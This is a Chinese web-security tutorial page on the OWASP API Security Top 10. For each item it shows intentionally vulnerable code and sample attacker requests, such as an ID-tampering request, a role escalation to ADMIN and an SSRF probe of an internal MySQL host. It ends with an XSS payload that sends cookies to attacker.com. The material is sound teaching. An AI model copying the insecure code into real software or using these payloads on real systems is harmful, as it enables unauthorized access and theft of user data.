Web安全
基础漏洞
01前端基础【HTML】
02前端基础【CSS】
03后端基础【PHP速通】
04后端基础【PHP面向对象】
05MySQL基础操作
06前后端联动【代码练习】
07SQL注入【1】
07SQL 注入【2】
08SQL注入 Labs
08SQL注入速查表
09XSS
09跨站脚本攻击【XSS】
09XSS Labs
10跨站请求伪造【CSRF】
11服务器端请求伪造【SSRF】
12XML 外部实体注入【XXE】
13代码执行漏洞
14命令执行漏洞
15文件包含漏洞
16文件上传漏洞
17反序列化漏洞
18业务逻辑漏洞
19未授权访问漏洞集合
20跨源资源共享【CORS】
21SSTI模板注入
22并发漏洞
23点击劫持【Clickjacking 】
24请求走私
25路径遍历
26访问控制
27身份验证漏洞
28WebSocket
29Web缓存中毒
30HTTP 主机头攻击
31信息泄露漏洞
32原型污染
33NoSQL注入
API 安全
01web应用程序
02HTTP协议
03API概述
04分类类型
05交换格式
06身份验证
07常见API漏洞
08crAPI靶场
09JWT
10OAuth 2.0身份验证
11GraphQL【1】
11GraphQL【2】
12DVGA靶场
13服务器端参数污染
14API文档
15API Labs
16OAuth Labs
17GraphQL API Labs
18JWT Labs
小程序
小程序抓包
数据库
MySQL
Oracle
MongoDB
Redis
PostgreSQL
SQL server
中间件
Nginx
Apache HTTP Server
IIS
Tomcat
框架
ThinkPHP
Spring
Spring Boot
Django
访问控制
-
+
首页
07常见API漏洞
来源于OWASP API Security Top 10,https://owasp.org/API-Security/ OWASP(Open Web Application Security Project,开放 Web 应用安全项目)是一个全球性的非营利组织,致力于提升软件(尤其是 Web 应用)的安全性。 自 2001 年成立以来,它通过社区协作、开源资源和实践指南,成为全球软件安全领域最具影响力的权威组织之一。 ## API TOP 10 ### 1.1 BOLA **Broken Object Level Authorization 对象级授权失效** **描述:**API未正确验证用户对特定对象的访问权限,常见于依赖客户端传入对象ID的场景。攻击者通过修改对象ID(如用户ID、订单ID)访问未授权数据。 **案例**: - **金融行业**:某银行API允许通过用户ID查询交易记录,攻击者伪造用户ID获取他人交易明细。 - **电商行业**:某电商平台API未验证商品ID归属,攻击者通过遍历ID窃取商品库存信息。 **漏洞代码示例(Node.js/Express)** ```javascript // 错误实现:仅验证用户登录状态,未校验订单归属 app.get('/api/orders/:orderId', authenticate, (req, res) => { const orderId = req.params.orderId; // 直接查询订单,未关联当前用户ID db.query('SELECT * FROM orders WHERE id = ?', [orderId], (err, result) => { if (result.length > 0) { res.json(result[0]); // 返回订单详情(无论归属) } else { res.status(404).send('Order not found'); } }); }); ``` 正常的用户请求和响应,用户查询自己的订单: ```http GET /api/orders/1001 HTTP/1.1 Host: example.com Authorization: Bearer {合法用户token} ``` ```http HTTP/1.1 200 OK { "id": 1001, "userId": 123, // 匹配当前用户 "amount": 99.99, "address": "用户A的地址" } ``` 攻击者请求和响应,篡改orderid查询他人订单: ```http GET /api/orders/1002 HTTP/1.1 Host: example.com Authorization: Bearer {合法用户token} ``` ```http HTTP/1.1 200 OK { "id": 1002, "userId": 456, // 属于其他用户 "amount": 199.99, "address": "用户B的地址" // 未授权访问 } ``` ### 1.2 认证失效 Broken Authentication 认证失效 **描述:**身份验证机制实现缺陷,如弱密码策略、令牌泄露或暴力破解漏洞。攻击者通过破解令牌或利用实现缺陷冒充合法用户。 **案例:** - **金融行业**:某证券平台API密钥明文存储,被木马程序盗取后,攻击者操作账户进行高频交易。 - **电商行业**:某商城API未限制登录尝试次数,攻击者通过暴力破解获取管理员账号。 **漏洞代码示例(JWT配置缺陷)** ```python # 错误实现:JWT过期时间过长且无刷新机制(Python/Flask) import jwt from datetime import datetime, timedelta def generate_token(user_id): payload = { "user_id": user_id, "exp": datetime.utcnow() + timedelta(days=365) # 过期时间1年(过久) } return jwt.encode(payload, "weak_secret_key", algorithm="HS256") # 密钥弱且硬编码 # 认证逻辑未校验token有效性细节 @app.route('/api/balance', methods=['GET']) def get_balance(): token = request.headers.get('Authorization').split(' ')[1] try: payload = jwt.decode(token, "weak_secret_key", algorithms=["HS256"]) # 未检查token是否被吊销/刷新 return jsonify({"balance": get_user_balance(payload["user_id"])}) except: return "Unauthorized", 401 ``` 攻击者使用窃取的旧 token的请求与响应: ```http GET /api/balance HTTP/1.1 Host: example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsImV4cCI6MTcxNzY0MDY3NX0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ``` ```http HTTP/1.1 200 OK { "balance": 5000.00 } ``` ### 1.3 对象属性级授权失效 Broken Object Property Level Authorization 对象属性级授权失效 **描述:**未正确控制对象属性的访问权限。攻击者通过修改请求参数暴露或修改敏感属性。 **案例**: - **电商行业**:某商城API允许用户更新订单状态,攻击者通过修改is_paid字段将未支付订单标记为已支付。 - **物联网行业**:某智能门锁API未验证属性权限,攻击者远程修改锁状态导致用户无法开门。 **漏洞代码示例(Java/Spring)** ```java // 错误实现:允许修改所有用户属性,未限制"role"字段 @PutMapping("/api/users/{userId}") public ResponseEntity<User> updateUser(@PathVariable Long userId, @RequestBody User user) { // 仅校验用户是否存在,未过滤敏感属性 User existingUser = userRepository.findById(userId).orElseThrow(); // 直接覆盖所有字段(包括role) existingUser.setName(user.getName()); existingUser.setEmail(user.getEmail()); existingUser.setRole(user.getRole()); // 未校验role修改权限 userRepository.save(existingUser); return ResponseEntity.ok(existingUser); } ``` 攻击者修改自身角色的请求与响应: ```http PUT /api/users/123 HTTP/1.1 Host: example.com Authorization: Bearer {普通用户token} Content-Type: application/json { "name": "Attacker", "email": "attacker@example.com", "role": "ADMIN" // 越权修改敏感属性 } ``` ```http HTTP/1.1 200 OK { "id": 123, "name": "Attacker", "email": "attacker@example.com", "role": "ADMIN" // 修改成功,权限提升 } ``` ### 1.4 资源消耗不受限 **描述:**未限制API请求的资源消耗,导致拒绝服务(DoS)或成本激增。攻击者通过发送大请求或高频请求耗尽服务器资源。 **案例**: - **电商行业**:某商城API未限制图片上传大小,攻击者上传10GB文件导致服务器内存耗尽。 - **金融行业**:某银行API未设置速率限制,攻击者每秒发送1000次查询请求,导致数据库瘫痪。 **漏洞代码示例(Python/Flask)** ```python # 错误实现:未限制文件大小和请求频率 @app.route('/api/process-image', methods=['POST']) def process_image(): # 未校验文件大小 image = request.files['image'] image.save(f'/tmp/{image.filename}') # 未限制并发,直接执行高资源消耗操作 result = high_resolution_processing(image.filename) # 耗时操作 return send_file(result) ``` 攻击者发送超大文件的请求与响应: ```http POST /api/process-image HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ----WebKitFormBoundary Content-Disposition: form-data; name="image"; filename="100mb-image.jpg" Content-Type: image/jpeg [100MB二进制数据] ----WebKitFormBoundary ``` ```http HTTP/1.1 504 Gateway Timeout # 服务器超时(资源耗尽) ``` ### 1.5 BFLA **Broken Function Level Authorization 功能级授权失效** **描述:**管理功能与普通功能授权未分离,导致未授权访问管理接口。攻击者通过普通用户权限调用管理接口。 **案例**: - **金融行业**:某证券平台API未区分管理接口,攻击者通过普通用户权限调用/admin/users接口获取所有用户数据。 - **电商行业**:某商城API管理接口未验证角色,攻击者删除他人订单。 **BOLA 与 BFLA 的区别:** - **BOLA**:用户有权访问 API 端点 / 功能,但通过操纵对象 ID 访问无权对象(对象级越权)。 - **BFLA:攻击者未授权访问本不应接触的 API 端点 / 功能(功能级越权)。 **漏洞代码示例(PHP/Laravel)** ```php // 错误实现:仅通过URL路径判断权限,未校验用户角色 Route::delete('/api/admin/delete-customer/{id}', function ($id) { // 无角色校验中间件 Customer::destroy($id); return response()->json(['message' => 'Deleted']); }); ``` 普通用户调用管理员接口的请求与响应: ```http DELETE /api/admin/delete-customer/456 HTTP/1.1 Host: example.com Authorization: Bearer {普通用户token} ``` ```http HTTP/1.1 200 OK { "message": "Deleted" // 越权删除成功 } ``` ### 1.6 敏感业务流无限制访问 **描述:**敏感业务流程未加防护,如自动化评论、交易操作。攻击者通过脚本自动化操作,导致业务受损。 **案例**: - **电商行业**:某平台API未限制评论频率,攻击者通过脚本每秒发送1000条垃圾评论。 - **金融行业**:某银行API未验证交易频率,攻击者通过自动化脚本进行高频转账,触发风控。 **漏洞场景(外卖下单流程):** 正常流程:提交订单→支付→确认发货,但 API 未校验流程依赖关系。 攻击者跳过支付直接确认发货的请求与响应: ```http POST /api/orders/789/confirm-shipping HTTP/1.1 Host: example.com Authorization: Bearer {用户token} Content-Type: application/json { "orderId": 789, "trackingNo": "FAKE123" } ``` ```http HTTP/1.1 200 OK { "status": "shipped", "message": "订单已发货" // 未支付却发货 } ``` ### 1.7 SSRF **Server Side Request Forgery 服务器端请求伪造** **描述:**API未验证用户提供的URI,导致内部资源被非法访问。攻击者通过伪造URI访问内网地址。 **案例**: - **金融行业**:某银行API获取远程配置时未验证URL,攻击者伪造URL访问内网数据库。 - **物联网行业**:某智能设备API未限制URI,攻击者通过SSRF控制设备。 **漏洞代码示例(Node.js/Express)** ```javascript // 错误实现:直接使用用户输入的URL发起请求 app.get('/api/fetch-content', (req, res) => { const url = req.query.url; // 用户可控输入 // 未校验URL合法性(如禁止内网IP) fetch(url).then(response => response.text()) .then(data => res.send(data)) .catch(err => res.status(500).send(err.message)); }); ``` 攻击者探测内网数据库的请求与响应: ```http GET /api/fetch-content?url=http://192.168.1.100:3306 HTTP/1.1 Host: example.com ``` ```http HTTP/1.1 200 OK Host '172.17.0.2' is not allowed to connect to this MySQL server ``` ### 1.8 安全配置错误 **描述:**API或相关组件配置不当,如默认凭证、未关闭调试接口。攻击者利用默认配置或未修复漏洞进行攻击。 **案例**: - **电商行业**:某商城API未删除调试接口,攻击者通过/debug/pprof获取服务器性能数据。 - **金融行业**:某证券平台API使用默认管理员账号,被暴力破解。 **漏洞场景(生产环境启用调试模式)** 触发错误时的请求与响应: ```http GET /api/users/invalid-id HTTP/1.1 Host: example.com ``` ```http HTTP/1.1 500 Internal Server Error { "error": "SQL Error", "stack": "Traceback (most recent call last): ... File \"db.py\", line 42, in query\n cursor.execute(\"SELECT * FROM users WHERE id = '%s'\" % id)\nMySQLdb._exceptions.ProgrammingError: (1064, ...)", "db_config": { "host": "192.168.1.5", "user": "root", "password": "dev_password" // 泄露敏感配置 } } ``` ### 1.9 存量资产管理不当 **描述:**未维护API资产清单,导致废弃端点暴露。攻击者利用未下线的旧版API进行攻击。 **案例**: - **金融行业**:某银行未下线旧版API,攻击者通过未修复的漏洞转移资金。 - **电商行业**:某商城API版本号混乱,攻击者利用旧版接口进行数据抓取。 **漏洞场景(遗留 API 未下线)** 访问未下线v1接口的请求与响应: ```http GET /api/v1/users HTTP/1.1 Host: example.com ``` ```http HTTP/1.1 200 OK [ {"id": 1, "phone": "13800138000", "email": "user1@example.com"}, {"id": 2, "phone": "13900139000", "email": "user2@example.com"} ] ``` v1 接口无认证,v2 已修复但未删除 v1 ### 1.10 API的不安全使用 **描述:**依赖第三方API时未验证数据完整性,导致供应链攻击。攻击者通过篡改第三方API响应进行攻击。 **案例**: - **电商行业**:某应用使用被篡改的第三方天气API,响应中包含恶意脚本,触发XSS漏洞。 - **金融行业**:某银行依赖的第三方支付API被植入恶意代码,导致用户资金被盗。 **漏洞代码示例(前端直接渲染第三方数据)** ```javascript // 错误实现:直接展示第三方API返回的未过滤数据 fetch('https://third-party-logistics.com/api/tracking?orderId=789') .then(response => response.json()) .then(data => { // 未过滤HTML/脚本标签 document.getElementById('tracking-message').innerHTML = data.message; }); ``` 请求第三方api返回恶意内容: ```json { "message": "您的快递已到达<script>document.location='http://attacker.com?cookie='+document.cookie</script>" } ``` 前端渲染后触发 XSS,导致用户 Cookie 被窃取。
毛林
2025年9月7日 11:24
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码